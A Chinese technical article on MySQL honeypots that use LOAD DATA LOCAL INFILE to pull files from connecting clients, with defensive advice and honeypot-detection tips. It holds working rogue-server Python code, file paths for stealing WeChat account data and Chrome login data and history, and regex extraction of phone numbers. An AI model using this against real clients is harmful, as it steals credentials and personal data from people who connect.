记对MYSQL蜜罐的溯源反制研究
字数 1196 2025-08-22 12:22:59

MySQL蜜罐溯源反制技术研究

一、MySQL蜜罐概述

MySQL蜜罐是一种通过模拟MySQL服务来诱捕攻击者的安全技术,主要用于:

  • 检测针对MySQL数据库的攻击行为
  • 收集攻击者信息用于溯源
  • 反制攻击者获取其敏感信息

核心原理

利用MySQL的LOAD DATA LOCAL INFILE功能,当攻击者使用客户端工具(如Navicat)连接蜜罐时,蜜罐可诱导客户端读取并上传本地文件。

二、关键技术实现

1. LOAD DATA LOCAL INFILE机制

-- 检查功能状态
SHOW GLOBAL VARIABLES LIKE 'local_infile';

-- 开启功能(默认关闭)
SET GLOBAL local_infile=1;

-- 读取本地文件示例
LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE test1 FIELDS TERMINATED BY '\n';

2. 攻击流程分析

  1. 客户端向服务端发起Load data local infile请求
  2. 服务端返回需要读取的文件路径
  3. 客户端读取文件内容并发送给服务端

3. 流量分析

使用Wireshark抓包分析MySQL协议:

  • 过滤条件:mysqltcp.port == 3306
  • 关键数据包:
    • Greeting包:服务端版本等信息
    • Request Query包:客户端请求
    • Response TABULAR:服务端指定读取的文件路径

三、敏感信息获取技术

1. 微信信息获取

  • 配置文件路径:
    C:\Users\<用户名>\Documents\WeChat Files\All Users\config\config.data
    C:\Users\<用户名>\Documents\WeChat Files\<wxid>\config\AccInfo.dat
    
  • 包含信息:微信ID、网络名称、手机号、邮箱等

2. Chrome信息获取

  • 登录数据:
    C:/Users/<用户名>/AppData/Local/Google/Chrome/User Data/Default/Login Data
    
  • 历史记录:
    C:/Users/<用户名>/AppData/Local/Google/Chrome/User Data/Default/History
    

3. 系统信息获取

  • 用户名获取:
    C:/Windows/PFRO.log
    
  • 系统配置文件:
    C:/windows/win.ini
    C:/windows/system.ini
    

四、蜜罐实现代码分析

核心功能代码

def mysql_get_file_content(filename, conn, address):
    logpath = os.path.abspath("log/" + address[0])
    if not os.path.exists(logpath):
        os.makedirs(logpath)
    
    # 模拟MySQL握手过程
    conn.sendall("xxx")
    try:
        conn.recv(1024000)
    except Exception as e:
        print(e)
    
    # 构造文件读取请求
    wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    conn.sendall(wantfile)
    
    # 接收文件内容
    content = ''
    while True:
        data = conn.recv(1024)
        content += data
        if len(data) < 1024:
            break
    
    # 保存文件
    if len(content) > 6:
        with open(logpath + "/" + filename.replace('/', '_'), "w") as f:
            f.write(content)
        return (True, content)
    return (False, content)

信息提取与处理

# 微信ID提取
wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]

# 手机号提取
phone = re.findall(r'[0-9]{11}', content)[-1]

# 生成微信二维码
def make_qr(str, save):
    qr = qrcode.QRCode(
        version=4,
        error_correction=qrcode.constants.ERROR_CORRECT_M,
        box_size=10,
        border=2,
    )
    qr.add_data(str)
    qr.make(fit=True)
    img = qr.make_image()
    img.save(save)

qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id, 'demo.jpg')

五、蜜罐部署方法

1. 基础部署

  1. 准备Python环境(Python2)
  2. 下载蜜罐代码
  3. 启动服务:
    python2 exp_dicc.py 3306
    

2. Docker部署

  1. 构建Docker镜像
  2. 运行容器并映射3306端口
  3. 配置Web管理界面(可选)

3. 增强配置

  • 修改默认弱口令
  • 设置诱饵数据库和表结构
  • 配置日志存储和分析

六、蜜罐识别与防御

1. 蜜罐识别技术

协议特征识别

  • ThreadID不变或增长缓慢
  • Salt(盐)值固定不变
  • 任意用户名密码均可登录
  • 登录失败次数限制异常

环境特征识别

  • 开放的端口与服务不匹配
  • 系统版本信息异常
  • 文件目录结构不自然
  • 响应行为模式化

2. 防御措施

  1. 禁用危险功能:
    SET GLOBAL local_infile=0;
    
  2. 使用专用客户端工具,避免使用Navicat等通用工具
  3. 连接前检查目标服务器可信度
  4. 在沙箱环境中操作可疑数据库

七、高级应用与扩展

1. 多协议蜜罐开发

使用Twisted框架开发多协议蜜罐:

from twisted.web import server, resource
from twisted.internet import reactor, endpoints

class Simple(resource.Resource):
    isLeaf = True
    def render_GET(self, request):
        return b"Hello, world!"

site = server.Site(Simple())
endpoint = endpoints.TCP4ServerEndpoint(reactor, 8080)
endpoint.listen(site)
reactor.run()

2. Go语言实现

package main

import (
    "fmt"
    "net"
)

func main() {
    port := 8080
    listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port))
    if err != nil {
        panic(err)
    }
    defer listener.Close()
    
    for {
        conn, err := listener.Accept()
        if err != nil {
            fmt.Printf("Failed to accept connection: %s\n", err)
            continue
        }
        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    remoteAddr := conn.RemoteAddr().String()
    fmt.Printf("Connection from %s\n", remoteAddr)
    
    buf := make([]byte, 1024)
    n, err := conn.Read(buf)
    if err != nil {
        fmt.Printf("Failed to read data: %s\n", err)
        return
    }
    fmt.Printf("Data: %s\n", string(buf[:n]))
    conn.Close()
}

八、法律与伦理考量

  1. 仅在合法授权的网络环境中部署蜜罐
  2. 收集的信息仅用于安全防护目的
  3. 遵守当地隐私保护法律法规
  4. 明确告知用户可能的数据收集行为(如内部安全演练)

九、总结与最佳实践

攻击防护

  • 定期审计数据库配置
  • 限制数据库用户权限
  • 启用访问日志记录
  • 使用网络隔离策略

蜜罐运营

  • 保持蜜罐真实性
  • 定期更新诱饵数据
  • 建立自动化分析流程
  • 与其他安全系统联动

通过合理部署MySQL蜜罐,安全团队可以提前发现攻击行为,收集威胁情报,并有效反制攻击者,提升整体安全防护能力。

MySQL蜜罐溯源反制技术研究 一、MySQL蜜罐概述 MySQL蜜罐是一种通过模拟MySQL服务来诱捕攻击者的安全技术,主要用于: 检测针对MySQL数据库的攻击行为 收集攻击者信息用于溯源 反制攻击者获取其敏感信息 核心原理 利用MySQL的 LOAD DATA LOCAL INFILE 功能,当攻击者使用客户端工具(如Navicat)连接蜜罐时,蜜罐可诱导客户端读取并上传本地文件。 二、关键技术实现 1. LOAD DATA LOCAL INFILE机制 2. 攻击流程分析 客户端向服务端发起Load data local infile请求 服务端返回需要读取的文件路径 客户端读取文件内容并发送给服务端 3. 流量分析 使用Wireshark抓包分析MySQL协议: 过滤条件: mysql 或 tcp.port == 3306 关键数据包: Greeting包:服务端版本等信息 Request Query包:客户端请求 Response TABULAR:服务端指定读取的文件路径 三、敏感信息获取技术 1. 微信信息获取 配置文件路径: 包含信息:微信ID、网络名称、手机号、邮箱等 2. Chrome信息获取 登录数据: 历史记录: 3. 系统信息获取 用户名获取: 系统配置文件: 四、蜜罐实现代码分析 核心功能代码 信息提取与处理 五、蜜罐部署方法 1. 基础部署 准备Python环境(Python2) 下载蜜罐代码 启动服务: 2. Docker部署 构建Docker镜像 运行容器并映射3306端口 配置Web管理界面(可选) 3. 增强配置 修改默认弱口令 设置诱饵数据库和表结构 配置日志存储和分析 六、蜜罐识别与防御 1. 蜜罐识别技术 协议特征识别 ThreadID不变或增长缓慢 Salt(盐)值固定不变 任意用户名密码均可登录 登录失败次数限制异常 环境特征识别 开放的端口与服务不匹配 系统版本信息异常 文件目录结构不自然 响应行为模式化 2. 防御措施 禁用危险功能: 使用专用客户端工具,避免使用Navicat等通用工具 连接前检查目标服务器可信度 在沙箱环境中操作可疑数据库 七、高级应用与扩展 1. 多协议蜜罐开发 使用Twisted框架开发多协议蜜罐: 2. Go语言实现 八、法律与伦理考量 仅在合法授权的网络环境中部署蜜罐 收集的信息仅用于安全防护目的 遵守当地隐私保护法律法规 明确告知用户可能的数据收集行为(如内部安全演练) 九、总结与最佳实践 攻击防护 定期审计数据库配置 限制数据库用户权限 启用访问日志记录 使用网络隔离策略 蜜罐运营 保持蜜罐真实性 定期更新诱饵数据 建立自动化分析流程 与其他安全系统联动 通过合理部署MySQL蜜罐,安全团队可以提前发现攻击行为,收集威胁情报,并有效反制攻击者,提升整体安全防护能力。